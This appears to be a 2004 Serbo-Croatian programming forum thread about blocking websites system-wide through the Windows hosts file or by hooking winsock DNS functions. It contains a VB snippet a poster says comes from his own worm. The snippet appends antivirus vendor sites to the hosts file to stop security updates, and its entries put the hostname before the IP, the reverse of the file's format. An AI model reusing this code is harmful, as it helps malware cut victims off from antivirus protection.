[ reiser @ 11.12.2004. 15:11 ] @
Postoji li nacin da moj program ima uvid u sve linkove koje korisnik posecuje, nezavisno od browser-a (IE, Opera, FF, Netscape itd..) ?

Znaci, kad korisnik proba da otvori recimo http://www.google.com, program treba to da detektuje i da blokira ucitavanje tog linka. Pozeljno bi bilo i da ne dozvoli otvaranje linka preko ukucavanja DNS, IP ili koje-vec adrese... Kako ?

poz
[ VRKY @ 11.12.2004. 15:34 ] @
Nisam siguran je li ovo odgovor na tvoje pitanje ali... Pogledaj malo ovaj fajl:

Code:

C:\WINDOWS\system32\Drivers\Etc\Hosts
[ Sundance @ 11.12.2004. 21:55 ] @
Najjednostavnije ti ga je blokirati preko hosts fajla kao sto Vrky rece....

Neki crvi tipa hybris hookiraju winsock (WS2_32.DLL) fje za DNS-a i blokiraju one od AV sajtova tako da AV ne moze napraviti update :)) hosts fajl je puno lakse za iskodirati iz skriptnih jezika tipa VBS, ali se zato i relativno lako detektira i neki anti-alatichi ga gledaju... Ako zelis hookirati winsock pogledaj malo gethosbyname() i getaddrinfo(), ne bi trebalo biti puno posla :)
[ VRKY @ 12.12.2004. 10:21 ] @
Ja sam radio isto preko Hosts fajla. Vrlo je lagano za napravit a efikasno. Evo ovako je to u VB izgledalo (ovo je izvađeno iz mog crva):

Code:

Win = Environ("WinDir") & "\"
Open Win & "\system32\Drivers\Etc\Hosts" For Append As #1
Print #1, "www.symantec.com    127.0.0.1"
Print #1, "www.sophos.com    127.0.0.1"
Print #1, "www.avast.com    127.0.0.1"
Print #1, "www.mcafee.com    127.0.0.1"
Print #1, "www.f-prot.com    127.0.0.1"
Print #1, "www.f-secure.com    127.0.0.1"
Print #1, "www.avp.com    127.0.0.1"
Print #1, "www.kaspersky.com    127.0.0.1"
Print #1, "www.trendmicro.com    127.0.0.1"
Print #1, "www.bitdefender.com   127.0.0.1"
Print #1, "www.my-etrust.com   127.0.0.1"
Print #1, "www.eset.com    127.0.0.1"
Print #1, "www.norman.com    127.0.0.1"
Print #1, "www.grisoft.com    127.0.0.1"
Print #1, "www.pandasecurity.com   127.0.0.1"
Close #1
[ Sundance @ 12.12.2004. 12:11 ] @
Da, bind-as njihove URL-ove na localhost :)

Ali, sto ako se connect()-a direktno preko IP adrese? Onda pomaze samo hookiranje winsocka :)
[ VRKY @ 12.12.2004. 13:04 ] @
Da u pravu si. Ali mislim da se lajac neće konektovati preko IP. Stoga mislim da i ovo vrlo dobro prolazi.
[ reiser @ 12.12.2004. 17:56 ] @
Redirektovanje linkova preko hosts fajla zaboravimo... (funkcionise samo u IE-u, IP adrese se ne blokiraju itd...)

Jbga, izgleda da 29a sajt trenutno ne radi, ne mogu da nadjem source od Hybris-a, cisto da vidim kako je uradjen hook fja i cela ta stvar...
Jos jedno pitanjce, kad sa otvorim ws2_32.dll, vidim getaddrinfo() i GetAddrInfoW() fje... Pretpostavljam da rade istu stvar, ali koja fja je 'niza' ?

poz
[ JogyII @ 12.12.2004. 18:16 ] @
Citat:
Marko Paunovic
Jos jedno pitanjce, kad sa otvorim ws2_32.dll, vidim getaddrinfo() i GetAddrInfoW() fje... Pretpostavljam da rade istu stvar, ali koja fja je 'niza' ?

poz


obe rade istu stvar na isti nacin, ali ova sa W sve svoje STRING parametre prima u unicode formatu, na NT sistemima ova obicna (ansi) ustvari radi tako sto sve svoje parametre pretvori iz ansi u unicode i poziva ovu unicode verziju
[ reiser @ 12.12.2004. 18:52 ] @
Znaci GetAddrInfoW() je niza ?
[ Sundance @ 12.12.2004. 20:28 ] @
Citat:
Marko Paunovic: Znaci GetAddrInfoW() je niza ?


Precisely :)

Vjerojatno postoji i niza, negdje u TDI/NDIS sloju, ali sumnjam da ti se da pisati kernel-mode hook za tcpip.sys :)
[ JogyII @ 12.12.2004. 20:55 ] @
pa NT ima pet slojeva, i svi oni mogu da se hook-uju, ideja i jeste da on izabere najvislji sloj koji njemu odgovara, posto sa svakim nizim slojem sve teze raditi

mada mislim (moguce i da gresim) da je moguce to odraditi i na jos "visljem" sloju, u ruteru/firewall-u koji "korisnik" koristi za pristup internetu (ukoliko je u pitanju firmin link koji treba zastititi od neovlascene primene) treba ubaciti filter za TCP/IP sto je verovatno mnogo lakse, i u slucaju greske nece biti nestabilan/oboren ceo racunar korisnika, nego samo njegov pristup internet-u